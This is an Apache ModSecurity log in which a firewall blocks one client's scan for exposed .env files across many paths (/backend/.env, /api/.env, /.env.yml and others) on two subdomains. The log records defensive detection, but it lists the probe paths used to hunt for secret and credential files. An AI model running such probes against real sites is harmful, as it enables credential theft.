[Sat Oct 24 20:24:44.272597 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1MTK7eSgqEqaOPQgT8IAAAAAI"]
[Sat Oct 24 20:24:44.272840 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1MTK7eSgqEqaOPQgT8IAAAAAI"]
[Sat Oct 24 20:24:44.273207 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1MTK7eSgqEqaOPQgT8IAAAAAI"]
[Sat Oct 24 20:24:44.304341 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfQAAACE"]
[Sat Oct 24 20:24:44.304618 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfQAAACE"]
[Sat Oct 24 20:24:44.304967 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfQAAACE"]
[Sat Oct 24 20:24:44.408103 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1MTK7eSgqEqaOPQgT8IQAAAAI"]
[Sat Oct 24 20:24:44.408331 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1MTK7eSgqEqaOPQgT8IQAAAAI"]
[Sat Oct 24 20:24:44.408659 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1MTK7eSgqEqaOPQgT8IQAAAAI"]
[Sat Oct 24 20:24:44.443460 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfgAAACE"]
[Sat Oct 24 20:24:44.443685 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfgAAACE"]
[Sat Oct 24 20:24:44.444038 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfgAAACE"]
[Sat Oct 24 20:24:44.556176 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1MTK7eSgqEqaOPQgT8IgAAAAI"]
[Sat Oct 24 20:24:44.556440 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1MTK7eSgqEqaOPQgT8IgAAAAI"]
[Sat Oct 24 20:24:44.556777 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1MTK7eSgqEqaOPQgT8IgAAAAI"]
[Sat Oct 24 20:24:44.580584 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfwAAACE"]
[Sat Oct 24 20:24:44.580840 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfwAAACE"]
[Sat Oct 24 20:24:44.581088 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfwAAACE"]
[Sat Oct 24 20:24:44.691129 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8IwAAAAI"]
[Sat Oct 24 20:24:44.691356 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8IwAAAAI"]
[Sat Oct 24 20:24:44.691678 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8IwAAAAI"]
[Sat Oct 24 20:24:44.717963 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVgAAAACE"]
[Sat Oct 24 20:24:44.718196 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVgAAAACE"]
[Sat Oct 24 20:24:44.718571 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVgAAAACE"]
[Sat Oct 24 20:24:44.825935 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8JAAAAAI"]
[Sat Oct 24 20:24:44.826160 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8JAAAAAI"]
[Sat Oct 24 20:24:44.826464 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8JAAAAAI"]
[Sat Oct 24 20:24:44.861305 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVgQAAACE"]
[Sat Oct 24 20:24:44.861612 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVgQAAACE"]
[Sat Oct 24 20:24:44.862019 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVgQAAACE"]
[Sat Oct 24 20:24:44.963027 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8JQAAAAI"]
[Sat Oct 24 20:24:44.963281 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8JQAAAAI"]
[Sat Oct 24 20:24:44.963620 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1MTK7eSgqEqaOPQgT8JQAAAAI"]
[Sat Oct 24 20:24:45.006141 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVggAAACE"]
[Sat Oct 24 20:24:45.006447 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVggAAACE"]
[Sat Oct 24 20:24:45.006788 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVggAAACE"]
[Sat Oct 24 20:24:45.102007 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8JgAAAAI"]
[Sat Oct 24 20:24:45.102232 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8JgAAAAI"]
[Sat Oct 24 20:24:45.102535 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8JgAAAAI"]
